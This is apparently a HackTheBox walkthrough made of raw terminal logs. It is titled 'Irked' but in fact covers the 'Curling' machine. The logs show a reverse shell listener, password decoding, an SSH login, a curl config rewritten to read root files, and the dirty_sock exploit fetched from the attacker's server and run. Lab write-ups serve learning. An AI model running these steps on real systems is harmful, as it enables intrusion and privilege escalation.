7 minutes
HackTheBox - Irked
root@kali:~# nmap -sV -sC 10.10.10.150
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 14:47 CEST
Nmap scan report for 10.10.10.150
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
root@kali:~# gobuster -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.150:80 -t 50
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
[+] Mode : dir
[+] Url/Domain : http://10.10.10.150:80/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
2019/03/31 14:48:20 Starting gobuster
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/administrator (Status: 301)
/bin (Status: 301)
/cache (Status: 301)
/components (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
2019/03/31 14:48:26 Finished
root@kali:~# echo “Q3VybGluZzIwMTgh” | base64 -d
Curling2018!root@kali:~# ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.13.2 netmask 255.255.252.0 destination 10.10.13.2
inet6 dead:beef:2::1100 prefixlen 64 scopeid 0x0
inet6 fe80::585f:b579:1f65:38e7 prefixlen 64 scopeid 0x20
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 28411 bytes 7832677 (7.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 35723 bytes 3524631 (3.3 MiB)
TX errors 0 dropped 297 overruns 0 carrier 0 collisions 0
root@kali:~# clear
root@kali:~# nc -lnvp 1234
listening on [any] 1234 …
connect to [10.10.13.2] from (UNKNOWN) [10.10.10.150] 44812
/bin/sh: 0: can’t access tty; job control turned off
$ python -c ‘import pty; pty.spawn("/bin/bash")’
/bin/sh: 1: python: not found
$ python3 -c ‘import pty; pty.spawn("/bin/bash")’
www-data@curling:/var/www/html/templates/protostar$ ^Z
[1]+ Stopped nc -lnvp 1234
root@kali:~# stty raw -echo
root@kali:~# nc -lnvp 1234
<tml/templates/protostar$ export TERM=xterm256-color
www-data@curling:/var/www/html/templates/protostar$ cd /home
www-data@curling:/home$ ls
dirty_sock floris
www-data@curling:/home$ cd floris
www-data@curling:/home/floris$ ls -alh
total 116K
drwxr-xr-x 6 floris floris 4.0K Mar 31 13:16 .
drwxr-xr-x 4 root root 4.0K Mar 31 13:12 ..
lrwxrwxrwx 1 root root 9 May 22 2018 .bash_history -> /dev/null
-rw-r–r– 1 floris floris 220 Apr 4 2018 .bash_logout
-rw-r–r– 1 floris floris 3.7K Apr 4 2018 .bashrc
drwx—— 2 floris floris 4.0K May 22 2018 .cache
drwx—— 3 floris floris 4.0K May 22 2018 .gnupg
drwxrwxr-x 3 floris floris 4.0K May 22 2018 .local
-rw-r–r– 1 floris floris 807 Apr 4 2018 .profile
-rw——- 1 floris floris 1.2K Mar 31 13:12 .viminfo
-rw-rw-r– 1 floris floris 52 Mar 31 13:12 README.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README1.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README10.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README11.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README2.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README3.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README4.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README5.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README6.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README7.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README8.txt
-rw-rw-r– 1 floris floris 52 Mar 31 13:16 README9.txt
drwxr-x— 2 root floris 4.0K May 22 2018 admin-area
-rw-rw-r– 1 floris floris 5.4K Mar 31 13:09 dirty_sockv1.py
-rwxrwxr-x 1 floris floris 8.5K Mar 31 13:09 dirty_sockv2.py
-rw-r–r– 1 floris floris 1.1K May 22 2018 password_backup
-rw-r—– 1 floris floris 33 May 22 2018 user.txt
www-data@curling:/home/floris$ cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY…H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ….A…P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N…n.T.#.@%… 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.F…s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n….7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./… ….)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;…..9…P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P…HB….*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 …H
www-data@curling:/home/floris$ xxd -r < password_backup > password_backup2
bash: password_backup2: Permission denied
www-data@curling:/home/floris$ xxd -r < password_backup | file -
/dev/stdin: bzip2 compressed data, block size = 900k
www-data@curling:/home/floris$ xxd -r < password_backup | bzcat | file -
/dev/stdin: gzip compressed data, was “password”, last modified: Tue May 22 19:16:20 2018, from Unix
<is$ xxd -r < password_backup | bzcat | gunzip -c | file -
/dev/stdin: bzip2 compressed data, block size = 900k
<d -r < password_backup | bzcat | gunzip -c | bzcat | file -
/dev/stdin: POSIX tar archive (GNU)
<assword_backup | bzcat | gunzip -c | bzcat | tar x0 | file -
tar: Options ‘-[0-7][lmh]’ not supported by this tar
Try ’tar –help’ or ’tar –usage’ for more information.
/dev/stdin: empty
<ackup | bzcat | gunzip -c | bzcat | tar xO | file -
/dev/stdin: ASCII text
<ackup | bzcat | gunzip -c | bzcat | tar xO
5d<wdCbdZu)|hChXll
root@kali:~# ssh floris@10.10.10.150 [456/456]
floris@10.10.10.150’s password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)
- Documentation: https://help.ubuntu.com
- Management: https://landscape.canonical.com
- Support: https://ubuntu.com/advantage
System information as of Sun Mar 31 13:24:19 UTC 2019
System load: 0.0 Processes: 203
Usage of /: 46.3% of 9.78GB Users logged in: 1
Memory usage: 24% IP address for ens33: 10.10.10.150
Swap usage: 0%
0 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 31 13:11:06 2019 from 10.10.15.247
floris@curling:~$ cat user.txt
65d#########ZENSIERT#########30b
floris@curling:~/admin-area$ ls -alh
total 28K
drwxr-x— 2 root floris 4.0K May 22 2018 .
drwxr-xr-x 6 floris floris 4.0K Mar 31 13:16 ..
-rw-rw—- 1 root floris 25 Mar 31 13:29 input
-rw-rw—- 1 root floris 14K Mar 31 13:29 report
floris@curling:~/admin-area$ cat input
url = “http://127.0.0.1”
floris@curling:~/admin-area$ cat report
floris@curling:~/admin-area$ vim input
url = “file:///root/root.txt”
floris@curling:~/admin-area$ ls -alh
total 16K
drwxr-x— 2 root floris 4.0K May 22 2018 .
drwxr-xr-x 6 floris floris 4.0K Mar 31 13:30 ..
-rw-rw—- 1 root floris 25 Mar 31 13:31 input
-rw-rw—- 1 root floris 33 Mar 31 13:31 report
floris@curling:~/admin-area$ cat report
82c198ab6fc5365fdc6da2ee5c26064a
floris@curling:~$ cd /tmp
floris@curling:/tmp$ wget http://10.10.14.105:8000/dirty_sockv2.py
–2019-04-01 08:34:22– http://10.10.14.105:8000/dirty_sockv2.py
Connecting to 10.10.14.105:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 8696 (8.5K) [text/plain]
Saving to: ‘dirty_sockv2.py’
dirty_sockv2.py 100%[=====================================================================================================================>] 8.49K –.-KB/s in 0s
2019-04-01 08:34:22 (46.3 MB/s) - ‘dirty_sockv2.py’ saved [8696/8696]
floris@curling:/tmp$ python3 dirty_sockv2.py
| \ | |/ | _/ [ | | | |_/
|/ | | \ | | ___ ] || | | _
(version 2)
//=========[]==========================================\
|| R&D || initstring (@init_string) ||
|| Source || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock ||
\=========[]==========================================//
[+] Slipped dirty sock on random socket file: /tmp/wvjupqdeyv;uid=0;
[+] Binding to socket file…
[+] Connecting to snapd API…
[+] Deleting trojan snap (and sleeping 5 seconds)…
[+] Installing the trojan snap (and sleeping 8 seconds)…
[+] Deleting trojan snap (and sleeping 5 seconds)…
Success! You can now su to the following account and use sudo:
username: dirty_sock
password: dirty_sock
floris@curling:/tmp$ su dirty_sock
Password:
To run a command as administrator (user “root”), use “sudo ”.
See “man sudo_root” for details.
dirty_sock@curling:/tmp$ sudo su
[sudo] password for dirty_sock:
root@curling:/tmp# cat /root/root.txt
82c#########ZENSIERT#########64a
root@curling:/tmp#